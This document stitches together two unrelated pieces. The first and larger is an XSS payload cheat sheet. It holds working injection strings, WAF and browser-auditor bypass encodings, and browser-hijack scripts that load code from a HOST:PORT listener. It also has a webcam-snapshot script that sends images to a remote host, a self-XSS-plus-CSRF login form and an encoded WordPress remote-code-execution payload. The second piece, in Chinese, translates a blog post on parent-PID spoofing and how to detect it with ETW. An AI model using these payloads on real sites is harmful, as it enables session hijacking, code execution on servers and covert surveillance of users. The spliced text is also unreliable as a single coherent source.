<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
Agnostic Event Handlers
<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003
Code Reuse Inline Script
<script>alert(1)//
<script>alert(1)<!–
Code Reuse Regular Script
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>
Filter Bypass Generic Tag + Handler
Encoding
<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
Mixed Case
<X onxxx=1
<x OnXxx=1
<X OnXxx=1
Doubling
<x onxxx=1 onxxx=1
Spacers
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
Quotes
<x 1='1'onxxx=1
<x 1="1"onxxx=1
Stripping
<[S]x onx[S]xx=1
[S] = stripped char or string
Mimetism
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
Generic Source Breaking
<x onxxx=alert(1) 1='
Source-Breaking Injections
onafterscriptexecute
onbeforescriptexecute
if (brute)
alert("Congratz, buddy!");
else
alert("Almost there, try again.");
Browser Control
<svg onload=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Using XSS to Control a Browser
<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>
setInterval(code, 0)
function(){code}
d=document;
z=d.createElement("script");
z.src="//HOST:PORT";
d.body.appendChild(z)
<svg/onload=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Multi Reflection
Double Reflection
Single Input
'onload=alert(1)><svg/1='
Single Input (script-based)
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
Triple Reflection
Single Input
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
Single Input (script-based)
*/</script>'>alert(1)/*<script/1='
Multi Input
Double Input
p=<svg/1='&q='onload=alert(1)>
Triple Input
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
Multi Reflection XSS
<svg onload=write(1)>
p='onload=alert(1)><svg/1='
'onload=alert(1)><svg/1='
… [code] …
'onload=alert(1)><svg/1='
p='>alert(1)</script><script/1='
p=*/alert(1)</script><script>/*
*/alert(1)</script><script>/*
… [code] …
*/alert(1)</script><script>/*
p=*/alert(1)">'onload="/*<svg/1='
p=`-alert(1)">'onload="`<svg/1='
`-alert(1)">'onload="`<svg/1='
… [code] …
`-alert(1)">'onload="`<svg/1='
… [code] …
`-alert(1)">'onload="`<svg/1='
p=*/</script>'>alert(1)/*<script/1='
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
var n = {a: "$p", b: "$p"};
(double reflection, single input $p)
var n = {a: "$p", b: "$q"};
(double reflection, double input $p and $q)
INPUT
p=-alert(1)}//\
RESULT*
var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};
INPUT
p=\&q=-alert(1)//
RESULT*
var n = {a: "\", b: "-alert(1)}//"};
Without Event Handlers
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
XSS Without Event Handlers
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
1) (no attribute)
<script>alert(1)</script>
2) src
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)> *
3) href
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click *
4) action
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click> *
5) formaction
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click> *
6) data
<object data=javascript:alert(1)> *
7) srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
8) xlink:href
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) /> *
<math><brute xlink:href=javascript:alert(1)>click *
9) from
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
Mobile Only
Event Handlers
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
Javascript
Properties
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
Functions
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
XSS in Mobile Devices
<body onorientationchange=alert(orientation)>
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</script>
open(c2.canvas.toDataURL())
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
Generic Self to Regular XSS
<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
Leveraging Self-XSS
POST to GET
Copy & Paste
XSS + CSRF
<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
<iframe src=//localhost/self/logout.php
onload=forms[0].submit()></iframe><form method=POST
action=//localhost/self/login.php?returnURL=changemail.php>
<input name=username value=brute>
<input name=password value=logic>
File Upload
Injection in Filename
"><img src=1 onerror=alert(1)>.gif
Injection in Metadata
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
Injection with SVG File
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
Injection with GIF File as Source of Script (CSP Bypass)
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
File Upload XSS
1) Filename
2) Metadata
$ exiftool -FIELD=XSS FILE
$ exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
3) Content
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
4) Source
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Google Chrome Auditor Bypass (up to v51)
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
Chrome XSS Bypass
"><script src=data:%26comma;alert(1)-"
<input value="INPUT">
<input value=""><script src=data:%26comma;alert(1)-"">
<script src="URL"></script>
<script type="text/javascript"></script>
PHP File for XHR Remote Call
<?php header("Access-Control-Allow-Origin: *"); ?>
<img src=1 onerror=alert(1)>
CORS Enabled XSS
<?php header("Access-Control-Allow-Origin: *"); ?>
<img src=1 onerror=alert(document.domain)>
#data:text/html,<img src=1 onerror=alert(document.domain)
Server Log Avoidance
<svg onload=eval(URL.slice(-8))>#alert(1)
<svg onload=eval(location.hash.slice(1)>#alert(1)
<svg onload=innerHTML=location.hash>#<script>alert(1)</script>
Avoiding XSS Detection
with(document)body.appendChild(createElement('script')).src='//DOMAIN'
<svg/onload=eval(location.hash.slice(1))>#with(document)
body.appendChild(createElement('script')).src='//DOMAIN'
#with(document)body.appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)
<svg/onload=eval(atob(location.hash.slice(1)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
<svg/onload=eval(atob(URL.slice(-148)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
Shortest PoC
<base href=//0>
$ while:; do echo "alert(1)" | nc -lp80; done
Portable Wordpress RCE
<script/src="data:,eval(atob(location.hash.slice(1)))//#
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
Qp4LnNlbmQoJCk=
http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD
* In URLs:
& => %26 , # => %23 , + => %2B
<a href=javascript:alert(1)>
Javascript:alert(1)
(URL-encoded form)
Javas%26%2399;ript:alert(1)
<iframe src=javascript:alert(1)>
http(s)://host/page?p=XSS
<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>
"><iframe src="/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)"
%0aalert(1);/"><script>///
<form action="http://brutelogic.com.br/chall/minified.php" method="POST" enctype="multipart/form-data">
<textarea name=p id=p>"
alert(1)-/><script>///</textarea>
</form>
<script>document.forms[0].submit(); </script>
*//"><script>/*alert(1)//
</input/"><svg><script>alert(1)//
Calling Remote Script With Event Handlers
1 – XHR
"var x=new XMLHttpRequest();x.open('GET','//0');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"
2 – Fetch
fetch('//0').then(function(r){r.text().then(function(w){write(w)})})
3 – Create Element
with(top)body.appendChild (createElement('script')).src='//0'
4 – jQuery Get
$.get('//0',function(r){write(r)})>
5 – jQuery Get Script
$.getScript('//0')
The Easiest Way to Bypass XSS Mitigations
echo $_GET["p"];
echo str_replace(" ", "", $_GET["q"]);
echo $_GET["p"];
echo str_ireplace("<script", "", $_GET["q"]);
echo str_ireplace("<script","InvalidTag", $_GET["r"]);
echo str_ireplace("<script","<InvalidTag", $_GET["s"]);
XSS Authority Abuse
http://alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=eval(URL.slice(7,15))>
http://javascript:alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=location=URL.slice(7,26)>
Bypassing Javascript Overrides
<svg onload=alert(1)>
<svg onload=document.write('XSS')>
<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>
The Shortest Reflected XSS Attack Possible
<script src="INPUT"></script
<script src="//INPUT"></script>
<base href=//0>
Transcending Context-Based Filters
1) among tags
2) inside a tag
3) in a script section
1) preg_replace("/\<script|=/i", "-", $_REQUEST['q']);
2) preg_replace("/on\w+\s*=|\>/i", "-", $_REQUEST['q']);
3) htmlspecialchars($_REQUEST['q'], ENT_QUOTES);
<math><brute href=javascript:alert(1)>
1) <math>
2) " href=javascript:alert(1)
1) <math><!–
2) " href=javascript:alert(1)
<math><!–" href=javascript:alert(1)//
" href=javascript:alert(1) <math><!–
lol video<!–"href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url('//brutelogic.com.br/webgun/img/youtube1.jpg');
background-repeat:no-repeat –><math><!–
<svg><!–'-alert(1)-'
'-alert(1)-'<svg><!–
" accesskey=x onclick=alert(1) 1='
Location Based Payloads – Part IV
Document Properties Scheme
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
previousSibling.nodeValue, document.body.textContent*
location.search, tagName, nodeName, outerHTML
textContent, nextSibling.nodeValue, firstChild.nodeValue, lastChild.nodeValue, innerHTML
location.hash
Location Based Payloads – Part III
– Location
– Location Self
– Location Self Plus
before < [itself [inside]] > after # hash
Before: everything before the tag.
Itself: anything that uses the tag name.
Inside: any attribute inside the tag.
After: everything after the tag until hash.
Hash: everything after the # sign.
1) Location
1.1) Location Itself+After+Hash (tagName+innerHTML+location.hash)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:'click me!#'-alert(9)
1.2) Location Itself+Hash (tagName+URL)
<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
javascript: + http://domain/page?p=<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)
javascript:"-' + http://domain/page?p=<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)
1.3) Location After+Hash (innerHTML+URL)
<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
javascript:"-'click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
1.4) Location Itself+After+Hash (tagName+innerHTML+URL)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
javas + cript:"-'click me! + http://domain/page?p=<javas%20onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
1.5) Location Itself+Before (tagName+previous.Sibling)
"-alert(1)<javascript:" onclick=location=tagName%2bpreviousSibling.nodeValue>click me!
javascript:" + "-alert(1)
1.6) Location Itself+After+Before (tagName+innerHTML+previous.Sibling)
"-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!
javas + cript:" + "-alert(1)
1.7) Location After+Itself (innerHTML+outerHTML)
<alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>
javascript:1/*click me!*/ + <alert(1)<!– onclick=location=innerHTML%2bouterHTML>
<j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!
javascript:/* + <j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>
1.8) Location After+Before+Itself (innerHTML+previousSibling+outerHTML)
*/"<j"-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x"-alert(9)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
*/"<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x 1=" -alert(9)//" onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
1.9) Location After (innerHTML)
<j onclick=location=innerHTML>javascript%26colon;alert(1)//
javascript:alert(1)//
1.10) Location Inside (name+id)
<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>
javascrip + t:alert(1)
2) Location Self
2.1) Location Self Inside
<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>
http://domain/page?p=<svg/onload=alert(1)+
<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>
http://domain/page?p=<script/src=//3237054390/1+
2.2) Location Self After
<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
http://domain/page?p=<svg/onload=alert(1)>
3) Location Self Plus
3.1) Location Self Plus Itself
<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
http://domain/page?p=<j%26p=<svg%2Bonload=alert(1)%20onclick=location%2B=outerHTML>click%20me!<j&p=<svg+onload=alert(1) onclick="location+=outerHTML">
3.2) Location Self Plus After
<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
http://domain/page?p=<j%20onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>&p=<svg/onload=alert(1)>
3.3) Location Self Plus Before
%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!
http://domain/page?p=%26p=%26lt;svg/onload=alert(1)><j%20onclick=location%2B=document.body.textContent>click%20me![BODY_CONTENT]&p=<svg/onload=alert(1)>click me!
Location Based Payloads – Part II
<svg onload=alert(tagName)>
<javascript onclick=alert(tagName)>click me!
<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)
<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)
Result => javascript: + /*click me! + #*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>'click me!#'-alert(1)
Result => javascript: +'click me! + #'-alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>'click me!</javascript:>#'-alert(1)
javascript + :'click me! + #'-alert(1)
javascrip + t:'click me! + #'-alert(1)
javas + cript:'click me! + #'-alert(1)
Location Based Payloads – Part I
<svg/onload=location='javascript:alert(1)'>
<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)
Result => javascript:alert(1)
<svg/onload=location='javas'%2B'cript:'%2B
'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)
Result => javas + cript: + ale + rt + (1)
<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)
Result => javas + script: + ale + rt + (1)
<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()
Result => javas + cript: + ale + rt + ( + 1 + )
Filter Bypass Procedure
#XSS vs WAF
1) use <x & jump to event handler
2) use onxxx=yyy & find number of x it accepts
3) test them & change tag accordingly
4) put js
— Brute (@brutelogic) October 10, 2015
<x onxxx=1
Example:
<x onxxx=1 -> pass
<x onxxxx=1 -> pass
<x onxxxxx=1 -> block
Event handlers with up to 6 chars:
oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow
1) Encoding
<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
2) Mixed Case
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1
3) Doubling
<x onxxx=1 onxxx=1
4) Spacers
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
5) Quotes
<x 1='1'onxxx=1
<x 1="1"onxxx=1
6) Mimetism
<x </onxxx=1 (mimics a closing tag)
<x 1=">" onxxx=1 (mimics a text outside of the tag)
<http://onxxx%3D1/ (mimics an URL)
7) Combo
<x%2F1=">%22OnXxx%3D1
Existing Code Reuse
<script>alert(1)//
<script>alert(1)<!–
1) Before injection:
<input type="text" value=""><script type="text/javascript"> function x(){ do something }</script>
2) After injection:
<input type="text" value=""><script>alert(1)//"><script type="text/javascript"> function x(){ do something }</script>
<script src=//brutelogic.com.br/1>
<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<brute id=test onmouseover=alert(1)>AAAA
http://brutelogic.com.br/webgun/test.php?p=<brute onmouseover=pop(1)>AAAA
XSS Payload Scheme
<tag handler=code>
<b onclick=alert(1)>click me!
<img src=x onerror=alert(1)>
<frameset><frame src onload=alert(1)>
extra1 <tag extra2 handler=code> extra3
extra1 <tag handler=code extra2> extra3
<svg/onload=alert(1)>
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
extra1 <tag spacer1 handler spacer3 = spacer4 code spacer5 extra2> extra3 (without spacer2)
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bconfirm(1)%09><td>AAAAAAAAA | 社区文章 |
# 父进程欺骗技术概述与检测
|
##### 译文声明
本文是翻译文章，文章原作者 countercept，文章来源：countercept.com
原文地址：<https://www.countercept.com/blog/detecting-parent-pid-spoofing/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
安全团队经常通过对父子进程间关系的检测来判断该进程是否存在异常，但是，很多攻击者可以使用Parent PID (PPID)
Spoofing这一技术来绕过检测，并允许从任意父进程执行恶意进程。该技术在[Cobalt
Strike](https://blog.didierstevens.com/2017/03/20/)和[Didier
Stevens](https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/)等活动中被使用。
在这篇博客中，我们会深入探讨此技术的工作原理以及防御者如何利用ETW(Windows事件跟踪)检测此技术。我们还将演示如何通过PowerShell脚本执行Parent
PID (PPID)
Spoofing和DLL注入，以及python编写的检测脚本，该脚本使用了[pywintrace](https://github.com/fireeye/pywintrace)库。
## 二、技术分析
### PPID Spoofing
在过去，攻击者经常能在不被检测到的情况下通过网络，但随着EDR（Endpoint detection and
response，终端检测和响应）的增加和威胁检测的提升，这种情况出现转变，尤其是对父子进程关联关系的分析，更是成为了检测攻击链的常用技术。
我们在Countercept（英格兰伦敦的计算机安全服务）中使用了父子进程关联关系的分析，下面是一些例子：
1.Macro payload delivery – WinWord spawning processes（宏交互过程）
2.JS/VBS C# payload delivery – cscript spawning csc（JS/VBS交互过程）
3.Lateral movement – services/wmiprvse spawning new processes（服务交互过程）
这促使攻击者重新评估他们的攻击方法，并使用诸如Parent PID (PPID) Spoofing等技术，以绕过防御。
### 通过CreateProcessA进行欺骗
对父进程进行欺骗有许多方法，本文中着重介绍通过调用CreateProcessA函数进行实现，该方法最简单也最常用。
CreateProcessA函数允许用户创建新进程，默认情况下，会通过其继承的父进程完成创建。该函数有一个名为“lpStartupInfo”的参数，该参数允许使用者自定义要使用的父进程。该功能最初用于Windows
Vista中设置UAC。
lpStartupInfo参数指向一个名为“[STARTUPINFOEX](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa)”的结构体，该结构包含变量“lpAttributeList”，这个变量在初始化时可以调用“UpdateProcThreadAttribute”回调函数进行属性添加，你可以通过“PROC_THREAD_ATTRIBUTE_PARENT_PROCESS”属性从而对父进程进行设置。
另外，此方法也可用于权限提升，Adam Chester有一个博客，演示了如何利用该方法进行Windows系统权限获取:[Alternative
methods of becoming SYSTEM](https://blog.xpnsec.com/becoming-system/)。
### 开始欺骗
现在最常见的网络传播方式是利用带有恶意宏的文档，当宏触发后，通常会启用新的进程，例如：cmd, PowerShell, regsvr32 和
certutil等，下图显示了winword进程生成rundll32进程的实例。然而，这种行为通常很容易被检测到。
攻击者可以通过CreateProcessA函数，实现以预期的父进程（比如Explorer或cmd）启动有效负载。下图显示了该技术的调用过程。
但是，我们能够进一步避免使用Windows中常见的应用程序吗？其中的一种方法是使用DLL文件或内存注入来加载想要运行的有效负载。
为了说明该情况，我们创建了一个PowerShell脚本，该脚本基于[Didier
Stevens](https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/)的代码，该脚本可以进行父进程欺骗并在其中注入一个DLL。
如下图所示，我们可以看到Windows 10上的正常进程“svchost.exe”，它启动了一个进程“RuntimeBroker.exe” 。
运行我们的PowerShell脚本后，我们同样从“svchost.exe”生成合法的“RuntimeBroker.exe”进程，然后注入并执行DLL有效载荷。如下图所示：
此类技术可以绕过父子关系的检测规则。
### 如何发现欺骗行为
在上一节中，我们演示了通过CreateProcessA函数进行父进程欺骗的方法，如果你使用任务管理器或 Process
Explorer（进程查看工具）可以看到正在运行的进程，以及欺骗的进程，但却没办法找出真正的进程ID。
ETW（Event Tracing for
Windows，windows事件跟踪）是Windows中最好的取证工具之一，ETW提供系统上发生的实时数据流。尤其是Microsoft-Windows-Kernel-Process模式提供了一些信息，可以帮助我们检测进程欺骗。如下图所示，你可以观察到如何从“winword.exe”（PID
9224）生成“rundll32.exe”（PID 5180）：
如下图所示，查看ETW数据，你可以看到多个ProcessId字段，包括EventHeader ProcessId，actual event
ProcessID和ParentProcessID，通过阅读MSDN文档，我们发现EventHeader ProcessId标识了生成事件的进程—即父进程。
在这个例子中，我们可以观察到EventHeader ProcessId和ParentProcessId正确匹配。
在第二个事例中，我们执行了恶意的PowerShell脚本，并从“svchost.exe”（PID
4652）生成了“RuntimeBroker.exe”（PID 4976）进程。如下图所示：
如下图所示，我们从ETW观察到，这次的EventHeader ProcessId和ParentProcessID是不同的，实际上，EventHeader
ProcessId显示真正的父ID，即“winword.exe” (PID 9224)。
然而，事情远非那么简单，如果你试图大规模的通过此方法进行检测，可能会出现误报情况，常见的例子是UAC（用户账户控制），该工具用于提升进程权限。在Windows
10中，当UAC执行后，应用程序信息服务（通过svchost）启动被提升权限的进程，但随后会显示该进程的原始调用进程。如下图所示，被提升权限的进程cmd.exe显示explorer.exe为父进程，实际父进程为svchost.exe。
另外一个误报相关的例子发生于WerFault的崩溃处理。如下图所示，当MicrosoftEdge崩溃时，svchost会启动WerFault.exe，但其父进程显示为MicrosoftEdge.exe。
我们创建了一个python脚本，该脚本使用pywintrace记录来自ETW的事件，然后通过比较PID，对一些事件进行过滤，以消除误报情况，如下图所示：
PowerShell脚本的代码以及检测脚本可以在[Github](https://github.com/countercept/ppid-spoofing)找到。
## 三、总结
在本文中，我们演示了攻击者如何利用合法的Windows功能进行欺骗，绕过父子进程关系相关检测的技术。
